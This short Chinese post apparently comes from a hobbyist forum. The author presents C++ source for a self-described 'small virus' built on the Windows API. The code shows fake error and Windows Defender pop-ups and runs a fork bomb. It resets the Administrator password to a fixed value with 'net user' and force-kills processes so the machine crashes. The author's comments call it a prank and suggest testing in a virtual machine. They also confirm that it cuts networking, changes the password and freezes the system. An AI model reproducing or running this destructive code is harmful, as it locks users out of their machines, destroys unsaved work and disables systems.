本人最近在研究<Windows.h>头文件,就写了一个小病毒!
#include<bits/stdc++.h>
#include<Windows.h>
using namespace std;
int main()
{
system("netsh interface show interface");
MessageBox(NULL,"Computer error!","System",MB_OK);
system("%0|%0");
Sleep(5000);
MessageBox(NULL,"Discover the Trojan!","Windows Defender",MB_OK);
MessageBox(NULL,"The System Is Not Responding!","System",MB_OK);
system("net user Administrator lzz12345");
system("color c");
cout<<"CMD error!";
system("cls");
MessageBox(NULL,"Do not shut down your computer!","Your soul",MB_OK);
Sleep(3000);
system("taskkill /f /fi "pid ne 1"");
return 0;
}
此代码为整蛊代码,请不要滥用哦!
//千万要用虚拟机试,如果你作死想用实体机,那么请先保存好你的程序,因为本病毒会断网、强制改密码、蓝屏、死机。
//记得用管理员权限打开